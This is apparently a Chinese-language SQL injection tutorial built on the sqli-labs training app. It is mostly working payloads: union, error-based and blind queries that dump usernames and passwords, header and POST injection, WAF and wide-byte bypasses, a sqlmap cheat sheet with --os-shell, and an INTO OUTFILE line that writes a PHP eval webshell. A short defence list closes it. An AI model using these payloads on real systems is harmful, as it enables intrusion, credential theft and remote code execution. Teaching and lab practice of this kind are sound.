SQL注入从入门到实战

涵盖联合查询、报错注入、布尔/时间盲注、堆叠注入、POST/HTTP头注入、二次注入、文件写入Getshell、预编译原理与绕过、宽字节、WAF绕过等。实战基于 sqli-labs。


一、SQL注入本质

不该被查询到的数据,被查到了。原因是用户输入被直接拼接到SQL语句中执行。

sql 复制代码
-- 正常
SELECT * FROM users WHERE id = '1'
-- 注入后:id=1' OR '1'='1
SELECT * FROM users WHERE id = '1' OR '1'='1'   -- 返回全部数据

二、前置知识

核心库:information_schema

表 作用 关键字段
SCHEMATA 所有数据库名 SCHEMA_NAME
TABLES 所有表名 table_schema, table_name
COLUMNS 所有列名 table_schema, table_name, column_name

常用系统函数: user()、database()、version()

截断函数: substr()、substring()、left()、right()、mid()

注释符: --+(--空格)、#、/**/

三、联合查询注入(Union Query)

条件:页面有回显

sql 复制代码
-- 1.判断列数
?id=1' order by 3--+   -- 不报错则3列,报错则减

-- 2.确定回显位(id设为一个不存在的值,让union结果显示)
?id=-1' union select 1,2,3--+

-- 3.爆库
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+

-- 4.爆表(group_concat合并多行,避免子查询只能返回一行的限制)
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

-- 5.爆列
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

-- 6.爆数据(0x3a=冒号,做分隔符)
?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+

四、报错注入

条件:页面无回显,但有SQL错误信息输出

主力函数: updatexml(1, concat(0x7e, 查询语句, 0x7e), 1),报错位置在第二个参数。

sql 复制代码
-- 爆库
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

-- 爆表
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

-- 爆数据(xpath报错最多32位,超出用substr分段)
?id=1' and updatexml(1,concat(0x7e,(select substr(group_concat(username,password),1,32) from users),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select substr(group_concat(username,password),33,64) from users),0x7e),1)--+

其他报错函数:

函数 版本 示例
extractvalue(1, concat(0x7e,user(),0x7e)) 5.0+ 同上,少一个参数
floor() 5.0~8.x ')or (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
ST_LatFromGeoHash() 5.7+ and ST_LatFromGeoHash(concat(0x7e,user(),0x7e))--+
GTID_SUBSET() 5.6+ ') or gtid_subset(concat(0x7e,user(),0x7e),1)--+

五、盲注

条件:页面无回显、无报错,只有"真/假"两种状态

布尔盲注 --- 根据页面差异逐位猜

sql 复制代码
-- 猜数据库长度
?id=1' and length(database())=8--+          -- 正常→长度8

-- 逐字符猜库名(二分法:每次折半,7次确定一个字符)
?id=1' and ascii(substr(database(),1,1))=115--+  -- 正常→'s'

-- 猜表名(嵌套子查询)
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80--+

时间盲注 --- 页面无差异时用sleep判断

sql 复制代码
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),1)--+  -- 延迟3秒→匹配

对比: 布尔盲注较快(秒级),时间盲注极慢(一个字符几秒),优先用布尔盲注。

六、POST注入

与GET注入原理相同,数据在请求体中传递。

sql 复制代码
uname=admin' union select 1,user()#&passwd=123

确保union前的查询结果为假(用不存在的用户名),否则页面显示已有用户而非union结果。

七、HTTP头注入

注入点可能在 User-Agent、Cookie、Referer 等请求头中。

sql 复制代码
-- sqli-labs Lesson-18:User-Agent注入
User-Agent: a' and updatexml(1,concat(0x7e,user(),0x7e),1) and '1'='1

-- 补全SQL语句的闭合
User-Agent: a' and updatexml(1,concat(0x7e,user(),0x7e),1),'127.0.0.1','admin')#

八、二次注入

恶意数据先存入数据库→后续操作取出拼接到SQL中触发。

经典场景: 注册用户名为 admin'# → 修改密码时,SQL变为修改 admin 的密码。

九、文件写入Getshell

条件: root权限 + secure_file_priv='' + 知道Web路径

sql 复制代码
?id=1')) union select 1,'<?php @eval($_POST["cmd"]); ?>',3 into outfile 'E:/phpStudy/WWW/shell.php'--+

secure_file_priv 是只读变量,无法SQL修改,需在 my.ini 中配置。

十、绕过技巧

绕过目标 方法 示例
空格 注释 /**/、括号、换行符 select/**/1,2、select(user())
引号 十六进制替代 0x7573657273 = 'users'
逗号 join 替代 union select * from (select 1)a join (select 2)b
等号 like/regexp/in where table_name like 'users'
关键字 双写 aandnd → and
科学计数法 WAF与后端解析差异 id=1e0union select...
HPP PHP取最后一个参数 ?i.d=-1union...&i_d=1(绕过检测函数)
空格/换行 %0a、%09、%a0 代替空格

十一、宽字节注入

原理: GBK编码下 %df%5c 被解析为一个汉字"运",%5c被消耗,单引号逃逸。

sql 复制代码
?id=1%df' union select 1,2,3--+

生产环境几乎不可用:现在没人用GBK,都用真预编译。

十二、预编译原理与绕过

预编译将"语句"和"参数"分开,先构建语法树再传参,消除歧义。

两种模式:

  • 虚假预编译(默认):底层无绑定,只是自动加引号转义,本质像过滤函数
  • 真实预编译 :prepare→execute两步,参数不会被解析为SQL指令

预编译无法防御的位置: order by、group by(参数加引号会失效)、表名/列名、limit(低版本MySQL)

预编译只是消除了SQL执行的歧义,没有消除SQL注入本身。

十三、SQLMap速查

bash 复制代码
# 基础
sqlmap -u "http://target.com/?id=1"
sqlmap -u "http://target.com/login" --data="user=admin&pass=123"
sqlmap -u "URL" --cookie="PHPSESSID=xxx" --proxy="http://127.0.0.1:8080"

# 参数
--os-shell    # 尝试获取系统Shell
--level=5     # 测试等级(1-5),3开始测Cookie,4开始测UA
--risk=3      # 风险等级(1-3),3包含OR注入(有破坏性)
--techniques=BEUSTQ  # B布尔/E报错/U联合/S堆叠/T时间/Q内联

# 仅使用时间盲注
sqlmap -u "URL" --techniques=T

十四、防御思路

  1. 预编译(参数化查询) --- 首选,防99%注入
  2. 不可参数化位置做白名单 --- order by/group by等只允许预设值
  3. 最小权限原则 --- 不用root连数据库
  4. WAF --- 补充防护层

相关推荐
长不大的杨瑞杰7 小时前
OpenCode v2 MCP 与插件体系实战:把数据库、工单和内部 API 安全接入 Agent
人工智能·安全·语言模型·软件工程·1024程序员节
这个DBA有点耶7 小时前
2026年国产数据库“实际用户增长最快”核验指南:口径优先级、可查数据与选型动作清单
数据库·mysql·架构
程序员塔塔喵7 小时前
【MySQL篇|第三篇】脏读,幻读,不可重复读
数据库·mysql·不可重复读·幻读·脏读
万联WANFLOW8 小时前
Kimi K3.1 Pro 接口接入指南:模型选型、费用计算与零数据保留
java·spring boot·python·安全·spring·大模型
安教安全员通关宝8 小时前
2026年浙江安全员B证考试题库+答案+解析
安全
数据库小学妹8 小时前
OLAP数据库怎么选、怎么优化?路线、提速与边界
运维·数据库·后端
织码weavecodes8 小时前
新闻资讯模块设计:内容发布、阅读计数与附件鉴权
java·服务器·数据库
福建佰胜张工8 小时前
费希尔 FIELDVUE™ DVC6200-AC 智能阀门定位器深度解析:双作用配置、核心参数与典型应用
运维·安全·自动化
小羊没烦恼!8 小时前
分布式事务 | 使用DTM 的Saga 模式
java·linux·运维·数据库·wpf
这个DBA有点耶8 小时前
备份成功≠数据可恢复:静默损坏会让物理备份把坏页一起带走
数据库·mysql·代码规范